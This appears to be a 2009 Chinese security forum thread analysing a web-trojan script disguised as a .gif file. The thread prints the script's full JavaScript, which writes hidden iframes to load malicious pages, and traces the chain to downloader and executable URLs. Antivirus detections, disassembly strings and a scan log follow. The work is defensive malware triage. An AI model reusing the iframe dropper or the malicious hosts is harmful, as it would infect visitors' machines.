台湾GIF后缀的挂马

dayang1717

http://tw.lovechina.tw.cn/count/js/gif.gif
内容
function Get(){var Then = new Date() Then.setTime(Then.getTime() + 24*60*60*1000)var cookieString = new String(document.cookie)var cookieHeader = "Cookie1=" var beginPosition = cookieString.indexOf(cookieHeader)if (beginPosition != -1){ } else { document.cookie = "Cookie1=nishisb;expires="+ Then.toGMTString()document.writeln("<iframe style=display:none src=http:\/\/cqfywg.cn\/count\/js\/swf2.htm><\/iframe>");document.writeln("<iframe style=display:none src=http:\/\/cqfywg.cn\/count\/js\/old.htm><\/iframe>");document.writeln("<iframe style=display:none src=http:\/\/cqfywg.cn\/count\/js\/92.htm><\/iframe>");document.writeln("<iframe style=display:none src=http:\/\/cqfywg.cn\/count\/js\/tj.htm><\/iframe>");}}Get();exe地址，我就不找了，没时间了，呵呵

Sebastian

JS/Dldr.Agent.lyf

幸福的猪猪

kaba miss ，to kill ！

tanlimo

cqfywg.cn/count/js/old.htm
->http://count.xj.cn/count/js/css.css

cqfywg.cn/count/js/92.htm这个页我的电脑根本没法跑，就不解了

雨宫优子

cqfywg.cn/count/js/92.htm
->http://count.xj.cn/count/js/67.exe

328397663

放上来~`

Sebastian

css.css
TR/Crypt.NSPM.Gen
67.exe
TR/Crypt.NSPM.Gen

ledled

Name: Packed/Packman
Type: Packer

Description:


Files:
c:\users\administrator\desktop\67.exe

The EQs

Ultra String Reference
Address    Disassembly                               Text String
0040105B   push    00403006                          shelluser32.dllloadremotefontssoftware\microsoft\windows nt\currentversion\winlogonhttp://count.xj.cn/count/js/1.txt
004011A0   push    00403004                          .shelluser32.dllloadremotefontssoftware\microsoft\windows nt\currentversion\winlogonhttp://count.xj.cn/count/js/1.txt
004011F3   push    ebp                               (initial cpu selection)
004011FC   push    0040300C                          user32.dllloadremotefontssoftware\microsoft\windows nt\currentversion\winlogonhttp://count.xj.cn/count/js/1.txt
0040120A   push    00403017                          loadremotefontssoftware\microsoft\windows nt\currentversion\winlogonhttp://count.xj.cn/count/js/1.txt
00401226   push    00403027                          software\microsoft\windows nt\currentversion\winlogonhttp://count.xj.cn/count/js/1.txt
00401260   push    00403006                          shelluser32.dllloadremotefontssoftware\microsoft\windows nt\currentversion\winlogonhttp://count.xj.cn/count/js/1.txt
004012AC   push    00403004                          .shelluser32.dllloadremotefontssoftware\microsoft\windows nt\currentversion\winlogonhttp://count.xj.cn/count/js/1.txt
004012CC   push    0040305D                          http://count.xj.cn/count/js/1.txt

Sebastian

原帖由 EQ2 于 2009-3-24 17:24 发表
Ultra String Reference
Address    Disassembly                               Text String
0040105B   push    00403006                          shelluser32.dllloadremotefontssoftware\microsoft\windows  ...

Der Suchlauf über die ausgewählten Dateien wird begonnen:

Beginne mit der Suche in 'D:\new\hosts.exe'
D:\new\hosts.exe
    [FUND]      Ist das Trojanische Pferd TR/Crypt.NSPM.Gen
    [HINWEIS]   Eine Sicherungskopie wurde unter dem Namen 4a3ba8bb.qua erstellt ( QUARANTÄNE )
    [HINWEIS]   Die Datei wurde gelöscht.
Beginne mit der Suche in 'D:\new\cq.exe'
D:\new\cq.exe
    [FUND]      Enthält Erkennungsmuster des Droppers DR/Dldr.Agent.AO
    --> csrss.exe
      [FUND]      Enthält Erkennungsmuster des SPR/QuickBatch.Gen-Programmes
    --> smss.exe
      [FUND]      Ist das Trojanische Pferd TR/Expl.IMG-WMF.FK.4
    [HINWEIS]   Eine Sicherungskopie wurde unter dem Namen 49f6a8bd.qua erstellt ( QUARANTÄNE )
    [HINWEIS]   Die Datei wurde gelöscht.
Beginne mit der Suche in 'D:\new\se.exe'
D:\new\se.exe
    [FUND]      Ist das Trojanische Pferd TR/Crypt.NSPM.Gen
    [HINWEIS]   Eine Sicherungskopie wurde unter dem Namen 49f6a8b1.qua erstellt ( QUARANTÄNE )
    [HINWEIS]   Die Datei wurde gelöscht.
Beginne mit der Suche in 'D:\new\wow.exe'
D:\new\wow.exe
    [FUND]      Ist das Trojanische Pferd TR/Dldr.Delphi.Gen
    [HINWEIS]   Eine Sicherungskopie wurde unter dem Namen 4a3fa8bb.qua erstellt ( QUARANTÄNE )
    [HINWEIS]   Die Datei wurde gelöscht.


Ende des Suchlaufs: 2009年3月24日  17:30
Benötigte Zeit: 00:00 Minute(n)

Der Suchlauf wurde vollständig durchgeführt.

      0 Verzeichnisse wurden überprüft
      8 Dateien wurden geprüft
      6 Viren bzw. unerwünschte Programme wurden gefunden
      0 Dateien wurden als verdächtig eingestuft
      4 Dateien wurden gelöscht
      0 Viren bzw. unerwünschte Programme wurden repariert
      4 Dateien wurden in die Quarantäne verschoben
      0 Dateien wurden umbenannt
      0 Dateien konnten nicht durchsucht werden
      2 Dateien ohne Befall
      1 Archive wurden durchsucht
      0 Warnungen
      4 Hinweise